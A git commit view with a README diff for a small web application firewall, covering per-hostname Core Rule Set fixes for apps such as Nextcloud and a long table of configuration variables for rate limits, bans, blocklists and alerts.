Author SHA1 Message Date
sneak 4bceebfae2 SWW_APPS: an app's Core Rule Set fixes apply only to the hostnames that serve it (closes #220)
check / check (push) In progress
Each app's fixes are one .conf file and one entry in apps. They apply
only while Inspect has set the app's transaction variable, such as
tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only
its apps' fixes; while SWW_APPS is unset, every hostname gets every
app's fixes.

A hostname in SWW_APPS that is not a DNS name, such as *.example.com,
stops the start. Unset, SWW_APPS is logged at start as null; set
empty, as "".

Model: opus-5-5
2026-11-10 09:03:37 +00:00
clawbot 463a19ef2a Core Rule Set: Nextcloud's ordinary requests pass by default (closes #240)
check / check (push) Successful in 5m6s
Adds nextcloud.conf, the fourteenth change. Nextcloud's WebDAV paths allow
PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK and UNLOCK, and
the body of a PUT there, an uploaded file, is not read. The cookie
nc_username, and the fields that carry a search, a name, a file name or a
folder, skip the four rules that read them as commands or system files.
Comments, a share's note, a status and a document's text also skip the rules
that refused ordinary sentences, and the document the two that refused a
shell code block. Requests recorded from Nextcloud 35.0.2, its web pages, sync
client 3.16.7 and the OCS API pass at the defaults and while bodies are read.

Model: opus-5-5
2026-11-10 09:43:18 +01:00
clawbot c557b175ad Core Rule Set tests: inspect requests with no body and no Content-Type once (closes #281)
check / check (push) Failing after 4m25s
wantRecordedRequestsPass inspects a recorded request with neither a body
nor a Content-Type header only at the defaults, as the WordPress test does
for a request with no body. With neither, the set that reads bodies has
nothing more to check: what it adds picks how to read a body from the
Content-Type, then reads the body. Every other request is still inspected
both ways. This cuts the package's CPU time under -race by about a fifth.

Model: opus-5-5
2026-11-10 09:43:11 +01:00
22 changed files with 3639 additions and 717 deletions

No files matched your search

+143 -135
View File
@@ -220,123 +220,124 @@ account, a key, a token or an alert destination stays off until you give one.
Every setting the code reads, with its default:
| Variable | Default | What it does |
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. |
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
| `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. |
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. |
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
| `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. |
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
| `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
| `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
| `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
| `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
| `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
| `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
| `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
| `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
| `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
| `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
| `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
| `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
| `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
| `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
| `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
| `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
| `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
| `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
| `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
| `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
| `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
| `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
| `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
| `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
| `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). |
| `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
| `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. |
| `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
| `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
| `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
| `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
| `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
| `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
| `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
| `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
| `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
| `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
| `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
| `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
| `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
| `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
| `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
| `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
| `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
| `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
| `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
| `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
| `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
| `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
| `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
| `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
| `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
| `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
| `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
| `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
| `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
| `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
| `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
| `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
| `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
| `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. |
| `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. |
| `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
| `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
| `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
| `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
| `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
| `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
| `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
| `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
| `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
| `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
| `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
| Variable | Default | What it does |
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. |
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
| `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. |
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. |
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
| `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. |
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
| `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
| `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
| `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
| `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
| `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
| `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
| `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
| `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
| `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
| `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
| `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
| `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
| `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
| `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
| `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
| `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
| `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
| `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
| `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
| `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
| `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
| `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
| `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
| `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
| `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). |
| `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
| `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. |
| `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
| `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
| `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
| `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
| `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_APPS` | unset | The apps each hostname serves, `drupal`, `gitea`, `mastodon`, `mediawiki`, `nextcloud`, `vaultwarden` or `wordpress`, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. Unset, every app's fixes apply to every hostname. |
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
| `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
| `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
| `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
| `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
| `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
| `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
| `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
| `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
| `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
| `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
| `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
| `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
| `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
| `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
| `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
| `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
| `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
| `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
| `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
| `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
| `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
| `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
| `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
